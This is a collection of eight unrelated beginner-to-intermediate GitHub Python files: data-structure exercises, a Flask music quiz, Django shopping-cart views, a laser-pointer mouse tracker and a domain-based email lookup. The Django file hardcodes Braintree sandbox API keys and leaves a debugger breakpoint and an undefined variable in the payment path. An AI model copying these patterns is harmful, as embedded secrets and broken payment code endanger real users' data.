+{"seq_id":"37912965104","text":"\"\"\"\n******************************************************************************\n* Purpose: Program To Implement UnOrderedLinkedList.\n*\n* @author:  Manjunath Mugali\n* @version: 3.7\n* @since:   18-01-2019\n*\n******************************************************************************\n\"\"\"\nfrom Utility_DataStructure.DataStructureOperations import LinkedList\n\nl1 = LinkedList()\n\n\nclass LinkedList:\n        try:\n            newfile = open(\"txtfile\", \"r+\")  # File IO open() function to Opens the file with read mode\n            words = newfile.read()  # reading file data and it converts to single String\n            my_list = words.split()  # It splits the Given String Sentence into Words(by Space)\n            newfile.close()   # close the file\n            print(\"****************************After Reading From The File:*************************************\\n \")\n            for i in words:\n                print(i, end=\"\", )\n            print()\n\n            print(\"*******************************Ordered Linked List Elements********************************** \\n\")\n            for i in my_list:\n                s1 = l1.add(i)  # Invoking add Method to add element to linked list\n            l1.display()\n            print()\n            print(\"***************************Enter The Word To Search******************************************\\n\")\n            word = str(input())  # reading word to search in LinkedList\n            while not str.isalpha(word):\n                print(\"Please Enter Only String\")\n                word = str(input())\n\n            res = l1.search(word)  # Invoking search() Method to search element in linked list\n\n            if res is True:  # if element present in linked list  else not present\n                result = l1.remove(word)  # Invoking remove() Method to remove element from linked list\n            else:\n                l1.add(word)  # Invoking add Method to add element to linked list\n                print()\n                print(word, \"Its Added To Linked List \\n\")\n\n            print(\"*************************Updated Linked list Is ***************************\\n\")\n            words2 = l1.display()  # Invoking display() Method to print element of linked list\n            print()\n\n            newfile = open(\"txtfile\", \"r+\")  # open file in read and write mode\n            newfile.truncate(0)  # file IO truncate() method to remove all tha data from file\n            newfile.close()  # close file\n\n            newfile = open(\"txtfile\", \"r+\")  # open file in read and write mode\n            for words1 in words2:\n                word3 = str(words1) + \" \"\n                newfile.write(word3)  # file IO write() to write data into file\n            newfile.close()  # close file\n            my_list.clear()\n        except FileNotFoundError:\n            print(\"File Not Found Check File is there Or Not\")\n\n","repo_name":"manjumugali/Python_Programs","sub_path":"DataStructurePrograms/UnOrderedLinkedList.py","file_name":"UnOrderedLinkedList.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16274319873","text":"# Faça um mini sistema que utilize o interactive help do python. O usuário\r\n\r\n# vai digitar o comando e o manual vai aparecer. Quando o usuário digitar\r\n\r\n# a palavra fim  o programa se encerrara\r\n\r\nfrom time import sleep\r\n#Lista de cores\r\nc = ('\\033[n' # sem cores #Lista de cores\r\n      '\\033[0;30;41m', # 1 - vermelho \r\n      '\\033 [0;30;42m', # 2 - verde\r\n      '\\033 [0;30;43m', # 3 - amarelo\r\n      '\\033 [0;30;44m', # 4 - azul\r\n      '\\033 [0,30,45m', # 5 - roxo\r\n      '\\033 [7;30m' # 6 - branco\r\n     ) \r\ndef ajuda(com):\r\n    titulo('Acessando o manual do comando  {}'.format(com))\r\n    help(com)\r\n\r\ndef titulo(msg, cor = 0):\r\n\r\n    tam = len(msg)\r\n    print(c[cor], end='')\r\n    print('~' * tam)\r\n    print('  {}'.format(msg))\r\n    print('~' * tam)\r\n    print(c[0], end='')\r\n\r\n\r\n\r\nwhile True:\r\n    titulo('Sistema de comando PyHELP', 2)\r\n    comandos = str(input('Qual função você quer buscar? '))\r\n    help(comandos)\r\n    print('--------------------------------------------')\r\n    \r\n    if comandos.upper() == 'FIM':\r\n        \r\n        print('Programa encerrado')\r\n        break\r\n    else:\r\n        \r\n        ajuda(comandos)\r\n        \r\ntitulo('Até logo', 1)","repo_name":"caikedomingues/Curso-de-python---parte2","sub_path":"Sistemainterativoex106.py","file_name":"Sistemainterativoex106.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8569417334","text":"\"\"\"\na class to hold unit conversion functions\n\"\"\"\nimport math\nfrom fractions import Fraction\n\nfrom painting.enums.rounding_mode import RoundingMode\nfrom painting.enums.rounding_units import RoundingUnits\n\n\ndef in_to_cm(inches: float) -> float:\n    \"\"\" convert inches to centimeters\n    :param inches: the inches to convert\n    :return: the converted inches in centimeters\n    \"\"\"\n    return inches * 2.54\n\n\ndef cm_to_in(cm: float) -> float:\n    \"\"\" convert centimeters to inches\n    :param cm: the centimeters to convert\n    :return: the converted centimeters in inches\n    \"\"\"\n    return cm / 2.54\n\n\ndef in_to_tape_measure(\n        value_in: float,\n        round_unit: RoundingUnits = RoundingUnits.THIRTY_SECOND,\n        round_mode: RoundingMode = RoundingMode.CEILING\n) -> str:\n    \"\"\" convert inches to the values found on a tape measure\n\n    :param value_in: the input value in inches\n    :param round_unit: the units to round at\n    :param round_mode: the rounding mode\n    :return: the tape measure value as a string\n    \"\"\"\n\n    round_unit_float = float(round_unit)\n\n    if round_mode == RoundingMode.CEILING:\n        round_value_in = math.ceil(value_in * round_unit_float) / round_unit\n    elif round_mode == RoundingMode.FLOOR:\n        round_value_in = math.floor(value_in * round_unit_float) / round_unit\n    else:\n        round_value_in = round(value_in * round_unit_float) / round_unit\n\n    frac_part, int_part = math.modf(round_value_in)\n    limited_frac_part = Fraction(frac_part).limit_denominator(round_unit)\n    if limited_frac_part == 0:\n        return \"{}\".format(int(int_part))\n    elif int_part == 0:\n        return \"{}\".format(limited_frac_part)\n    else:\n        return \"{} {}\".format(int(int_part), limited_frac_part)\n","repo_name":"mamclain/py-app-picture-frame-calculator","sub_path":"painting/mathematics/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"784934026","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect, Http404, JsonResponse\nfrom django.conf import settings\n\nfrom django.views.generic.base import View\nfrom django.views.generic.detail import SingleObjectMixin, DetailView\nfrom django.views.generic.edit import FormMixin\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib import messages\n\nfrom .models import Cart, CartItem\nfrom products.models import Variation\nfrom orders.models import UserCheckout, Order, UserAddress\nfrom orders.forms import GuestCheckoutForm\nfrom orders.mixins import CartOrderMixin\n\nimport pdb\n\nimport braintree\nbraintree.Configuration.configure(\n    braintree.Environment.Sandbox,\n    '79ca5f34fbc3b9eb1157211d37731a0e',\n    'jnpbmcwvp3v67pk6',\n    'f3yp35zj726j2xz4'\n)\n# 'PRIVATE_ID',\n# 'PUBLIC_KEY',\n# 'MERCHANT_ID'\n\nif settings.DEBUG:\n    braintree.Configuration.configure(braintree.Environment.Sandbox,\n                                      merchant_id = settings.BRAINTREE_MERCHANT_ID,\n                                      public_key = settings.BRAINTREE_PUBLIC,\n                                      private_key = settings.BRAINTREE_PRIVATE)\n# Create your views here.\n\n\nclass CartView(SingleObjectMixin, View):\n    model = Cart\n    template_name = \"carts/view.html\"\n\n    def get_object(self, *args, **kwargs):\n        self.request.session.set_expiry(0)\n        cart_id = self.request.session.get(\"cart_id\")\n        if cart_id == None:\n            cart = Cart()\n            cart.save()\n            cart_id = cart.id\n            self.request.session[\"cart_id\"] = cart.id\n        cart = Cart.objects.get(id=cart_id)\n        if self.request.user.is_authenticated():\n            cart.user = self.request.user\n            cart.save()\n        print(\"get_object() cart: \", cart)\n        return cart\n\n    def get(self, request, *args, **kwargs):\n        cart = self.get_object()\n        item_id = request.GET.get(\"item\")\n        delete_item = request.GET.get(\"delete\", False)\n        item_added = False\n        created_item = False\n        if item_id:\n            item_instance = get_object_or_404(Variation, id=item_id)\n            qty = request.GET.get(\"qty\",1)\n            try:\n                if int(qty) < 1:\n                    delete_item = True\n            except:\n                raise Http404\n\n            #either create an item or retrieve what's already there\n            cart_item, created_item = CartItem.objects.get_or_create(\n                cart=cart, item=item_instance)\n            if created_item:\n                item_added = True\n\n            if delete_item:\n                cart_item.delete()\n            else:\n                cart_item.quantity = qty\n                cart_item.save()\n\n            if not request.is_ajax():\n                return HttpResponseRedirect(reverse(\"cart\"))\n\n        if request.is_ajax():\n            print(\"ajax request: \", request.GET.get(\"item\"))\n            try:\n                total = cart_item.line_item_total\n            except:\n                total = None\n            try:\n                cart_total = cart_item.cart.total\n            except:\n                cart_total = None\n            try:\n                tax_total = cart_item.cart.tax_total\n            except:\n                tax_total = None\n\n            try:\n                subtotal = cart_item.cart_subtotal\n            except:\n                subtotal = None\n            try:\n                total_items = cart_item.cart.items.count()\n            except:\n                total_items = 0\n            data = {\n                \"deleted\": delete_item,\n                \"item_added\": created_item,\n                \"line_total\": total,\n                \"subtotal\": subtotal,\n                \"cart_total\": cart_total,\n                \"tax_total\": tax_total,\n                \"total_items\": total_items,\n            }\n            print(\"ajax data: \", data )\n            return JsonResponse(data)\n\n        context = {\n            \"object\":self.get_object()\n        }\n        print(\"stuff\", context[\"object\"])\n\n        template = self.template_name\n        return render(request, template, context)\n\nclass CheckoutView(CartOrderMixin, FormMixin, DetailView):\n    model = Cart\n    template_name = \"carts/checkout_view.html\"\n    form_class = GuestCheckoutForm\n\n\n    def get_object(self, *args, **kwargs):\n        cart = self.get_cart()\n        if cart == None:\n            return None\n        return cart\n\n    def get_context_data(self, *args, **kwargs):\n        context = super(CheckoutView, self).get_context_data( *args, **kwargs)\n        user_can_continue = False\n        user_check_id = self.request.session.get(\"user_checkout_id\")\n        print(\"THis is the session ---\", self.request.session.session_key)\n        # print(\"user_check_id: \", user_check_id)\n        # # print(\"self.request.session.get('user_checkout_id'): \",\n        # #     self.request.session.get(\"user_checkout_id\"))\n        if not self.request.user.is_authenticated() or user_check_id is None:\n            context[\"login_form\"] = AuthenticationForm()\n            context[\"next_url\"] = self.request.build_absolute_uri()\n        elif self.request.user.is_authenticated() or user_check_id is not None:\n            user_can_continue = True\n        else:\n            pass\n\n        if self.request.user.is_authenticated():\n            user_checkout, created = UserCheckout.objects.get_or_create(\n                email=self.request.user.email)\n            user_checkout.user = self.request.user\n            user_checkout.save()\n            context[\"client_token\"] = user_checkout.get_client_token()\n            # print(\"request session\", self.request.session)\n            self.request.session[\"user_checkout_id\"] = user_checkout.id\n            # print(\"request session\", self.request.session)\n        elif not self.request.user.is_authenticated() and user_check_id is None:\n            context[\"login_form\"] = AuthenticationForm()\n            context[\"next_url\"] = self.request.build_absolute_uri()\n        else:\n            pass\n\n        if user_check_id != None:\n            user_can_continue = True\n            #GUEST USER - Making sure an authenticated token and a guest user\n            #token don't come at the same time\n            if not self.request.user.is_authenticated():\n                user_checkout_2 = UserCheckout.objects.get(id=user_check_id)\n                context[\"client_token\"] = user_checkout_2.get_client_token()\n                pdb.set_trace()\n        context[\"order\"] = self.get_order()\n        context[\"form\"] = self.get_form()\n        context[\"user_can_continue\"] = user_can_continue\n        print(context, \"---User Checkout ID ---\", user_check_id)\n        return context\n\n    def post(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        form = self.get_form()\n\n        if form.is_valid():\n            email = form.cleaned_data.get(\"email\")\n            user_checkout, created = UserCheckout.objects.get_or_create(email=email)\n            request.session[\"user_checkout_id\"] = user_checkout.id\n            return self.form_valid(form)\n        else:\n            return self.form_invalid(form)\n\n    def get_success_url(self):\n        return reverse(\"checkout\")\n\n    def get(self, request, *args, **kwargs):\n        print(request.GET)\n        # pdb.set_trace()\n        get_data = super(CheckoutView, self).get(request, *args, **kwargs)\n        cart = self.get_object()\n        if cart is None:\n            return redirect(\"cart\")\n        new_order = self.get_order()\n        print('get(): request.session.get(\"user_checkout_id\"): ', request.session.get(\"user_checkout_id\"))\n        user_checkout_id = request.session.get(\"user_checkout_id\")\n        if user_checkout_id is not None:\n            user_checkout = UserCheckout.objects.get(id = user_checkout_id)\n            print(\"CheckoutView, get(), user_checkout\", user_checkout)\n            if new_order.billing_address is None or new_order.shipping_address is None:\n                return redirect(\"address_form\")\n            new_order.user = user_checkout #user_checkout_id\n            new_order.save()\n        return get_data\n\nclass CheckoutFinalView(CartOrderMixin, View):\n    def get(self, request, *args, **kwargs):\n        return redirect(\"checkout\")\n\n    def post(self, request, *args, **kwargs):\n        # print(\"CheckoutFinalView POST:\", request.POST)\n        order = self.get_order()\n        nonce = request.POST.get(\"payment_method_nonce\")\n        if nonce:\n            result = braintree.Transaction.sale({\n                \"payment_method_nonce\" : nonce,\n                \"amount\" : order_total,\n                \"billing\" : {\n                    \"postal_code\" : \"{}\".format(order.billing_address.zipcode),\n                },\n                \"options\" : {\n                    \"submit_for_settlement\" : True,\n                },\n            })\n            if result.is_success:\n                print(\"transaction id:\", result.transaction.id)\n                order.mark_completed(order_id=result.transaction.id)\n                messages.success(request, \"Thank you for your order!\")\n                print(\"session ids:\", request.session[\"cart_id\"], request.session[\"order_id\"])\n                del request.session[\"cart_id\"]\n                del request.session[\"order_id\"]\n                print(\"session ids:\", request.session[\"cart_id\"], request.session[\"order_id\"])\n            else:\n                messages.success(request, \"{}\".format(result.message))\n                return redirect(\"checkout\")\n        return redirect(\"order_detail\", pk=order.pk)\n","repo_name":"carter3689/test-code","sub_path":"carts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9243542190","text":"#!/usr/bin/python\r\nimport sys, os\r\nsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\r\nfrom model.processImage import processImage\r\nfrom model.controlMouse import controlMouse\r\nimport wx\r\nimport wx.lib.scrolledpanel\r\nfrom PIL import Image\r\nimport cv2\r\nimport re\r\nimport threading\r\nimport math\r\n\r\nclass setConfig(wx.Frame):\r\n    def __init__(self, parent):\r\n        super(setConfig, self).__init__(parent, title = \"setConfig\")\r\n        self.Maximize(True)\r\n        ### variable ###\r\n        self.cap = cv2.VideoCapture(0)\r\n        _, self.frame = self.cap.read()\r\n        self.debug = False\r\n        self.position_1_value = [float(), float()]\r\n        self.position_2_value = [float(), float()]\r\n        self.position_3_value = [float(), float()]\r\n        self.position_4_value = [float(), float()]\r\n        self.image_hight_value = int()\r\n        self.image_low_value = int()\r\n        self.position_exchange_count = 0\r\n        self.image_path = \"../res/test_main.jpg\"\r\n        self.offset_width = self.setWidthOffset()\r\n        self.offset_height = 0\r\n\r\n        ### layout ###\r\n        # add a panel so it looks the correct on all platforms\r\n        self.frame_panel = wx.Panel(self)\r\n        # set image panel\r\n        self.image_panel = wx.lib.scrolledpanel.ScrolledPanel(self.frame_panel, style=wx.SIMPLE_BORDER)\r\n        self.image_panel.SetAutoLayout(True)\r\n        self.image_panel.SetupScrolling()\r\n        # set image\r\n        self.image_ctrl = wx.StaticBitmap(self.image_panel)\r\n        # set boxsizer\r\n        self.image_sizer = wx.BoxSizer(wx.VERTICAL)\r\n        # set preivew image\r\n        self.image_sizer.Add(self.image_ctrl, 0, wx.EXPAND, 0)\r\n        self.image_panel.SetSizer(self.image_sizer)\r\n        # set hbox1\r\n        self.hbox1 = wx.BoxSizer(wx.HORIZONTAL) \r\n        self.image_sizer.Add(self.hbox1 , 0, wx.ALIGN_CENTER_HORIZONTAL, 0)\r\n        # set position_1 text\r\n        self.position_1 = wx.StaticText(self.image_panel, label = \"左上座標\")\r\n        self.hbox1.Add(self.position_1, 2, wx.EXPAND|wx.ALIGN_LEFT|wx.ALL,5) \r\n        # set position_2 text\r\n        self.position_2 = wx.StaticText(self.image_panel, label = \"右上座標\")\r\n        self.hbox1.Add(self.position_2,1,wx.EXPAND|wx.ALIGN_LEFT|wx.ALL,5)\r\n        # set input image hight\r\n        self.image_hight = wx.TextCtrl(self.image_panel, -1, '0', size=(230, -1), style=wx.TE_RIGHT | wx.TE_PROCESS_ENTER) \r\n        self.hbox1.Add(self.image_hight,1,wx.EXPAND|wx.ALIGN_LEFT|wx.ALL,5)\r\n        # set hbox2\r\n        self.hbox2 = wx.BoxSizer(wx.HORIZONTAL) \r\n        self.image_sizer.Add(self.hbox2 , 0, wx.ALIGN_CENTER_HORIZONTAL, 0)\r\n        # set position_3 text\r\n        self.position_3 = wx.StaticText(self.image_panel, label = \"左下座標\")\r\n        self.hbox2.Add(self.position_3, 2, wx.EXPAND|wx.ALIGN_LEFT|wx.ALL,5) \r\n        # set position_4 text\r\n        self.position_4 = wx.StaticText(self.image_panel, label = \"右下座標\")\r\n        self.hbox2.Add(self.position_4,1,wx.EXPAND|wx.ALIGN_LEFT|wx.ALL,5)\r\n        # set input image low\r\n        self.image_low = wx.TextCtrl(self.image_panel, -1, '0', size=(230, -1), style=wx.TE_RIGHT | wx.TE_PROCESS_ENTER) \r\n        self.hbox2.Add(self.image_low,1,wx.EXPAND|wx.ALIGN_LEFT|wx.ALL,5)\r\n        # set buttom refresh\r\n        self.buttom_refresh = wx.ToggleButton(self.image_panel, -1, \"Refresh\")\r\n        self.image_sizer.Add(self.buttom_refresh, 0, wx.EXPAND|wx.ALIGN_CENTER)\r\n        # set buttom perspective image\r\n        self.buttom_perspective_image = wx.ToggleButton(self.image_panel, -1, \"Perspective\")\r\n        self.image_sizer.Add(self.buttom_perspective_image, 0, wx.EXPAND|wx.ALIGN_CENTER)\r\n        # set buttom set image\r\n        self.buttom_set_image = wx.ToggleButton(self.image_panel, -1, \"Set\")\r\n        self.image_sizer.Add(self.buttom_set_image, 0, wx.EXPAND|wx.ALIGN_CENTER)\r\n        # set buttom start\r\n        self.buttom_start = wx.ToggleButton(self.image_panel, -1, \"Start\")\r\n        self.image_sizer.Add(self.buttom_start, 0, wx.EXPAND|wx.ALIGN_CENTER)\r\n        # frame sizer\r\n        self.frame_sizer = wx.BoxSizer(wx.HORIZONTAL)\r\n        self.frame_sizer.Add(self.image_panel, proportion=1, flag=wx.EXPAND | wx.ALL)\r\n        self.frame_panel.SetSizer(self.frame_sizer)\r\n\r\n        ### logic ###\r\n        self.showImage()\r\n        self.image_ctrl.Bind(wx.EVT_LEFT_DOWN, self.ImageCtrlOnMouseClick)\r\n        self.image_ctrl.Bind(wx.EVT_SIZE, self.windowResizeCallback)\r\n        self.buttom_perspective_image.Bind(wx.EVT_LEFT_DOWN, self.showPerspective)\r\n        self.buttom_refresh.Bind(wx.EVT_LEFT_DOWN, self.showRefresh)\r\n        self.buttom_set_image.Bind(wx.EVT_LEFT_DOWN, self.showSetImage)\r\n        self.image_hight.Bind(wx.EVT_KEY_UP, self.setImageHight)\r\n        self.image_low.Bind(wx.EVT_KEY_UP, self.setImageLow)\r\n        self.buttom_start.Bind(wx.EVT_LEFT_DOWN, self.startTracker)\r\n\r\n        return\r\n\r\n    def showPerspective(self, evnet):\r\n        self.frame = processImageObject.perspective(\r\n            frame=self.frame,\r\n            position_1=tuple(self.position_1_value),\r\n            position_2=tuple(self.position_2_value),\r\n            position_3=tuple(self.position_3_value),\r\n            position_4=tuple(self.position_4_value),\r\n            debug = self.debug\r\n        )\r\n        self.setPreviewImage()\r\n        self.showImage()\r\n\r\n    def setImageHight(self, event):\r\n        value = self.image_hight.GetValue()\r\n        if re.search('\\d+', value) != None:\r\n            self.image_hight_value = int(value)\r\n        else:\r\n            self.image_hight_value = 0\r\n        print(\"hight\", self.image_hight_value)\r\n\r\n    def setImageLow(self, event):\r\n        value = self.image_low.GetValue()\r\n        if re.search('\\d+', value) != None:\r\n            self.image_low_value = int(value)\r\n        else:\r\n            self.image_low_value = 0\r\n        print(\"low\", self.image_low_value)\r\n\r\n    def showRefresh(self, event):\r\n        self.getNewImage()\r\n        self.showImage()\r\n\r\n    def showSetImage(self, event):\r\n        _, self.frame = processImageObject.laserTracking(\r\n            frame=self.frame,\r\n            low=self.image_low_value,\r\n            hight=self.image_hight_value,\r\n            debug = self.debug\r\n        )\r\n        self.setPreviewImage()\r\n        self.showImage()\r\n\r\n    def setPreviewImage(self):\r\n        self.frame = processImageObject.getSetPreviewImage(self.frame)\r\n\r\n    def getNewImage(self):\r\n        _, self.frame = self.cap.read()\r\n\r\n    def showImage(self):\r\n        height,width = self.frame.shape[:2]\r\n        image = wx.Bitmap.FromBuffer(width, height, self.BGR_to_RGB(self.frame))\r\n        self.image_ctrl.SetBitmap(image)\r\n        self.image_panel.Layout()\r\n\r\n    def BGR_to_RGB(self, image):\r\n        (B,G,R) = cv2.split(image)\r\n        image=cv2.merge([R,G,B])\r\n        return image\r\n\r\n    def setWidthOffset(self):\r\n        window_width, _ = self.GetSize()\r\n        _, image_width, _ = self.frame.shape\r\n        return (window_width - image_width) / 2 - 10\r\n\r\n    def windowResizeCallback(self, event):\r\n        self.offset_width = self.setWidthOffset()\r\n\r\n    def ImageCtrlOnMouseClick(self, event):\r\n        ctrl_pos = event.GetPosition()\r\n        pos = self.image_ctrl.ScreenToClient(ctrl_pos)\r\n        screen_pos = self.frame_panel.GetScreenPosition()\r\n        relative_pos_x = int(pos[0] + screen_pos[0] - self.offset_width)\r\n        relative_pos_y = int(pos[1] + screen_pos[1] - self.offset_height)\r\n        print(\"image postion \", relative_pos_x, relative_pos_y)\r\n        if self.position_exchange_count == 0:\r\n            self.position_1.SetLabel(\"左上座標 %s,%s\" %(str(relative_pos_x),str(relative_pos_y)))\r\n            self.position_1_value = [relative_pos_x, relative_pos_y]\r\n        elif self.position_exchange_count == 1:\r\n            self.position_2.SetLabel(\"右上座標 %s,%s\" %(str(relative_pos_x),str(relative_pos_y)))\r\n            self.position_2_value = [relative_pos_x, relative_pos_y]\r\n        elif self.position_exchange_count == 2:\r\n            self.position_3.SetLabel(\"左下座標 %s,%s\" %(str(relative_pos_x),str(relative_pos_y)))\r\n            self.position_3_value = [relative_pos_x, relative_pos_y]\r\n        elif self.position_exchange_count == 3:\r\n            self.position_4.SetLabel(\"右下座標 %s,%s\" %(str(relative_pos_x),str(relative_pos_y)))\r\n            self.position_4_value = [relative_pos_x, relative_pos_y]\r\n        self.position_exchange_count = 0 if self.position_exchange_count >= 3 else self.position_exchange_count + 1\r\n\r\n    def tracker(self):\r\n        self.center, frame = processImageObject.controllerTracker(\r\n            frame=self.frame,\r\n            position_1=tuple(self.position_1_value),\r\n            position_2=tuple(self.position_2_value),\r\n            position_3=tuple(self.position_3_value),\r\n            position_4=tuple(self.position_4_value),\r\n            low=self.image_low_value,\r\n            hight=self.image_hight_value,\r\n            debug = self.debug\r\n        )\r\n        return frame\r\n\r\n    def trackerControlMouse(self):\r\n        while True:\r\n            self.getNewImage()\r\n            self.tracker()\r\n            controlMouseObject.click(self.center)\r\n\r\n    def startTracker(self, event):\r\n        t = threading.Thread(target = self.trackerControlMouse)\r\n        t.start()\r\n\r\nif __name__ == '__main__':\r\n    processImageObject = processImage()\r\n    controlMouseObject = controlMouse()\r\n\r\n    app = wx.PySimpleApp()\r\n    window = setConfig(None)\r\n    window.Show()\r\n    app.MainLoop()","repo_name":"superj80820/laser-touch-pen","sub_path":"form/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9510,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"35224178106","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr  6 07:01:42 2020\n\n@author: artemponomarev\n\nan app that converts email addresses into names or \nnames into email addresses...\n\"\"\"\n\nimport Algorithmia\n#import pandas as pd\n#import sys\nimport pickle\n#import csv\n#import numpy as np\n\n#from sklearn.datasets import load_boston\n#from sklearn.ensemble import RandomForestRegressor\n\nclient = Algorithmia.client()\n\ndef load_model(): # future model\n    # Get file by name\n    # Open file and load model\n    file_path = 'data://YOUR_USERNAME/scikit_learn_demo/scikit-demo-boston-regression.pkl'\n    model_path = client.file(file_path).getFile().name\n    # Open file and load model\n    with open(model_path, 'rb') as f:\n        model = pickle.load(f)\n        return model\n\n# Load model outside of the apply function so it only gets loaded once\n# model = load_model() # future model initialization\n\ndef extract_email_address(s, excluded):\n    left=right=''\n    if '@' in s:\n        position_of_at=s.index('@')\n        if position_of_at>0:\n            left=s[0 : position_of_at+1]\n            \n        idx=0\n        if \"\\'\" in left:\n            idx=left.lastindexof(\"\\'\")\n            left=left[idx :]\n        \n        right=s[position_of_at+1 :]\n        idx=len(right)\n        if \":\" in right:\n            idx=right.index(\":\")\n            right=right[:idx]  \n        \n        if excluded==None:\n            return left+right\n        else:\n            if right in excluded:\n                return None\n            else:\n                return left+right\n    else:\n        return None\n\ndef apply(input):\n    result=[]\n# Open file and load model\n# prediction = model.predict(np_data) # future model execution\n#return list(prediction)\n\n#    file_path = 'data://artemAlgo/email_addresses/excluded_email_providers_list.txt'\n#    algorithmia_path = client.file(file_path).getFile().name\n#    excluded=None\n#    with open(algorithmia_path, 'r') as f:\n#        excluded = f.read().split(\"\\n\")\n        \n    count=0\n    emails=[]\n    file_path = ['data://artemAlgo/email_addresses/clean_email_list-2.csv']\n    for fp in file_path:\n        algorithmia_path = client.file(fp).getFile().name\n        with open(algorithmia_path, 'r') as f1:\n            lines=f1.readlines()\n            for l in lines:\n                if input == l[l.index('@')+1:-1]:\n                    emails.append(l[1:-1])\n                    count+=1\n                    if count>=10:\n                        break\n    result=emails\n    return result\n","repo_name":"artemponomarevjetski/python-algorithmia-apps-published","sub_path":"Algorithmia1.py","file_name":"Algorithmia1.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"75115897287","text":"\nimport random\nfrom Question import Question\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n\n# defines actions for home page\n@app.route(\"/\")\ndef home():\n    return render_template('index.html')\n\n\n# Defines all questions for treble quiz, prompt is file name of .png file\ntreble_questions = [\n  Question(\"c4-treble\", \"C\"),\n  Question(\"d4\", \"D\"),\n  Question(\"e4\", \"E\"),\n  Question(\"f4\", \"F\"),\n  Question(\"g4\", \"G\"),\n  Question(\"a5\", \"A\"),\n  Question(\"b5\", \"B\"),\n  Question(\"c5\", \"C\"),\n  Question(\"d5\", \"D\"),\n  Question(\"e5\", \"E\"),\n  Question(\"f5\", \"F\"),\n  Question(\"g5\", \"G\"),\n  Question(\"a6\", \"A\"),\n  Question(\"b6\", \"B\"),\n  Question(\"c6\", \"C\")\n]\n\n\n# Defines all questions for bass quiz\nbass_questions = [\n  Question(\"c2\", \"C\"),\n  Question(\"d2\", \"D\"),\n  Question(\"e2\", \"E\"),\n  Question(\"f2\", \"F\"),\n  Question(\"g2\", \"G\"),\n  Question(\"a3\", \"A\"),\n  Question(\"b3\", \"B\"),\n  Question(\"c3\", \"C\"),\n  Question(\"d3\", \"D\"),\n  Question(\"e3\", \"E\"),\n  Question(\"f3\", \"F\"),\n  Question(\"g3\", \"G\"),\n  Question(\"a4\", \"A\"),\n  Question(\"b4\", \"B\"),\n  Question(\"c4-bass\", \"C\")\n]\n\n# defines all questions for all notes quiz - combines treble and bass questions\nall_questions = treble_questions + bass_questions\n\n# creates empty array to store most recent set of questions used\nquiz_questions = []\n\n\n# defines actions for treble-quiz\n@app.route(\"/treble-quiz\")\ndef treble_quiz():\n    # shuffles questions and passes first 10 to quiz_questions\n    random.shuffle(treble_questions)\n    global quiz_questions\n    quiz_questions = treble_questions[0:10]\n    # passes data and renders html template\n    title = \"Treble Notes Quiz\"\n    return render_template('notes-quiz.html', q=quiz_questions, title=title)\n\n\n# defines actions for bass-quiz\n@app.route(\"/bass-quiz\")\ndef bass_quiz():\n    # shuffles questions and passes first 10 to quiz_questions\n    random.shuffle(bass_questions)\n    global quiz_questions\n    quiz_questions = bass_questions[0:10]\n    # passes data and renders html template\n    title = \"Bass Notes Quiz\"\n    return render_template('notes-quiz.html', q=quiz_questions, title=title)\n\n\n# defines actions for all-quiz\n@app.route(\"/all-quiz\")\ndef all_quiz():\n    # shuffles questions and passes first 10 to quiz_questions\n    random.shuffle(all_questions)\n    global quiz_questions\n    quiz_questions = all_questions[0:10]\n    # passes data and renders html template\n    title = \"All Notes Quiz\"\n    return render_template('notes-quiz.html', q=quiz_questions, title=title)\n\n\n# defines actions for results\n@app.route('/results', methods=['POST'])\ndef quiz_answers():\n    correct = 0\n    total = 0\n    # reads user answers and checks against Question object's answer\n    for i in quiz_questions:\n        answered = request.form[i.prompt]\n        i.response = answered\n        # adds up total correct answers\n        if quiz_questions[total].answer == answered:\n            correct = correct+1\n        total += 1\n    # passes data and renders html template\n    return render_template('results.html', q=quiz_questions, correct=correct)\n\n\n# runs application and turns on debug mode\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"jolenic/music-notation-quiz","sub_path":"quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"14169494491","text":"#Program to calculate sum of list\n#Author: Kamaljeet Kaur\n#Python Version: 3.9.9\n\nmylist = []\nsum = 0\nlength = input(\"enter number of elements in list\")\n\n#validating the value passed by user\nif(length.isdigit()!=True):\n    length = input(\"please enter integer as length of list\")\nelse:\n    for i in range(int(length)):\n        value = input(\"enter the element\")\n        if(value.isdigit()):\n            mylist.append(int(value))\n            sum += int(value)\n        else:\n            print(value + \"is not a valid value to add\")\n            continue\n\n    \n\nprint(mylist)\nprint(\"sum of list elements is: \",sum)\n    \n","repo_name":"kkaur1998/Learning","sub_path":"Python/listelements.py","file_name":"listelements.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
